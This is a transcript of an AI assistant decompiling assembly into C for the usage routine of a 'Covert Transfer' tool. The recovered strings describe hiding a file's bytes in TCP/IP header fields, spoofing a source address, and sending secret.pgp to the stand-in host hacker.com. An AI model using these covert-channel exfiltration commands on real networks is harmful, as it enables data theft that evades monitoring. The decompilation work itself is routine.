user: Converte this assembly snippet into its equivalent C code:

```asm
<print_usage>:
  endbr64
  push   %rbx
  mov    (%rdi),%rsi
  mov    %rdi,%rbx
  xor    %eax,%eax
  lea    D143(%rip),%rdi
  call   <printf@plt>
  lea    D158(%rip),%rdi
  call   <puts@plt>
  lea    D114(%rip),%rdi
  call   <puts@plt>
  lea    D80(%rip),%rdi
  call   <puts@plt>
  lea    D109(%rip),%rdi
  call   <puts@plt>
  lea    D162(%rip),%rdi
  call   <puts@plt>
  lea    D43(%rip),%rdi
  call   <puts@plt>
  lea    D67(%rip),%rdi
  call   <puts@plt>
  lea    D128(%rip),%rdi
  call   <puts@plt>
  lea    D127(%rip),%rdi
  call   <puts@plt>
  lea    D60(%rip),%rdi
  call   <puts@plt>
  lea    D101(%rip),%rdi
  call   <puts@plt>
  lea    D116(%rip),%rdi
  call   <puts@plt>
  mov    (%rbx),%rsi
  lea    D141(%rip),%rdi
  xor    %eax,%eax
  mov    %rsi,%rdx
  call   <printf@plt>
  lea    D144(%rip),%rdi
  call   <puts@plt>
  mov    (%rbx),%rsi
  lea    D134(%rip),%rdi
  xor    %eax,%eax
  mov    %rsi,%rdx
  call   <printf@plt>
  lea    D129(%rip),%rdi
  pop    %rbx
  jmp    1060 <puts@plt>
```

tool_calls: name: retrieve_data
arguments: data_label: D143
datatype: string
name: retrieve_data
arguments: data_label: D158
datatype: string
name: retrieve_data
arguments: data_label: D114
datatype: string
name: retrieve_data
arguments: data_label: D80
datatype: string
name: retrieve_data
arguments: data_label: D109
datatype: string
name: retrieve_data
arguments: data_label: D162
datatype: string
name: retrieve_data
arguments: data_label: D43
datatype: string
name: retrieve_data
arguments: data_label: D67
datatype: string
name: retrieve_data
arguments: data_label: D128
datatype: string
name: retrieve_data
arguments: data_label: D127
datatype: string
name: retrieve_data
arguments: data_label: D60
datatype: string
name: retrieve_data
arguments: data_label: D101
datatype: string
name: retrieve_data
arguments: data_label: D116
datatype: string
name: retrieve_data
arguments: data_label: D141
datatype: string
name: retrieve_data
arguments: data_label: D144
datatype: string
name: retrieve_data
arguments: data_label: D134
datatype: string
name: retrieve_data
arguments: data_label: D129
datatype: string

tool: D143: Covert Transfer Usage: 
%s -dest dest_ip -dest_port port -file filename [encode type]



tool: D158: -dest [dest_ip]		- Receiver to send data to. 

tool: D114: -dest_port [port]	- IP port you want data to go to. [DEFAULT PORT == 80]

tool: D80: -source [source_ip]	- Host where you want to data to originate from.
			  (Source can include a bounce server address).

tool: D109: -src_port [source_port]	- IP source port you want data to appear from. 
			  (Randomly Set by default)

tool: D162: -file [filename]	- Name of the file to encode and transfer.


tool: D43: [Encode Type]: Following are the optional encoding types: 

tool: D67: 	-urg_ptr	- Encode data a byte at a time in the TCP packet Urgent Pointed field.

tool: D128: 	-seq		- Encode data a byte at a time in the TCP packet sequence number field. 

tool: D127: 	-ack		- Encode data a byte at a time in the TCP packet acknowledge field. 

tool: D60: 	-id		- Encode data a byte at a time in the IP packet identification field. 

tool: D101: 	-tos	- Encode data a byte at a time in the IP packet's Type of Service field.


tool: D116: Examples
=====================================================================================================================


tool: D141: Example 1: 
 %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off 
 %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr 



tool: D144:  The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using
 IP headers fragment offset field or TCP headers urgent pointer field.


tool: D134: Example 2: 
 %s -source foo.bar.com -src_port 1234  -dest hacker.com -dest_port 80 -file secret.pgp -frag_off 
 %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr 



tool: D129:  The example above send the secret.pgp file a byte at time to hacker.com on 
 port 80 from foo.bar.com either using IP headers fragment offset field or 
 TCP headers urgent pointer field.


assistant: ```c
void print_usage(char *argv[]) {
  printf("Covert Transfer Usage: \n%s -dest dest_ip -dest_port port -file filename [encode type]\n\n", argv[0]);
  printf("-dest [dest_ip]		- Receiver to send data to. \n");
  printf("-dest_port [port]	- IP port you want data to go to. [DEFAULT PORT == 80]\n");
  printf("-source [source_ip]	- Host where you want to data to originate from.\n"
         "			  (Source can include a bounce server address).\n");
  printf("-src_port [source_port]	- IP source port you want data to appear from. \n"
         "			  (Randomly Set by default)\n");
  printf("-file [filename]	- Name of the file to encode and transfer.\n\n");
  printf("[Encode Type]: Following are the optional encoding types: \n");
  printf("	-urg_ptr	- Encode data a byte at a time in the TCP packet Urgent Pointed field.\n");
  printf("	-seq		- Encode data a byte at a time in the TCP packet sequence number field. \n");
  printf("	-ack		- Encode data a byte at a time in the TCP packet acknowledge field. \n");
  printf("	-id		- Encode data a byte at a time in the IP packet identification field. \n");
  printf("	-tos	- Encode data a byte at a time in the IP packet's Type of Service field.\n\n");
  printf("Examples\n=====================================================================================================================\n\n");
  printf("Example 1: \n %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \n"
         " %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \n\n",
         argv[0], argv[0]);
  printf(" The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using\n"
         " IP headers fragment offset field or TCP headers urgent pointer field.\n\n");
  printf("Example 2: \n %s -source foo.bar.com -src_port 1234  -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \n"
         " %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \n\n",
         argv[0], argv[0]);
  printf(" The example above send the secret.pgp file a byte at time to hacker.com on \n"
         " port 80 from foo.bar.com either using IP headers fragment offset field or \n"
         " TCP headers urgent pointer field.\n\n");
}
```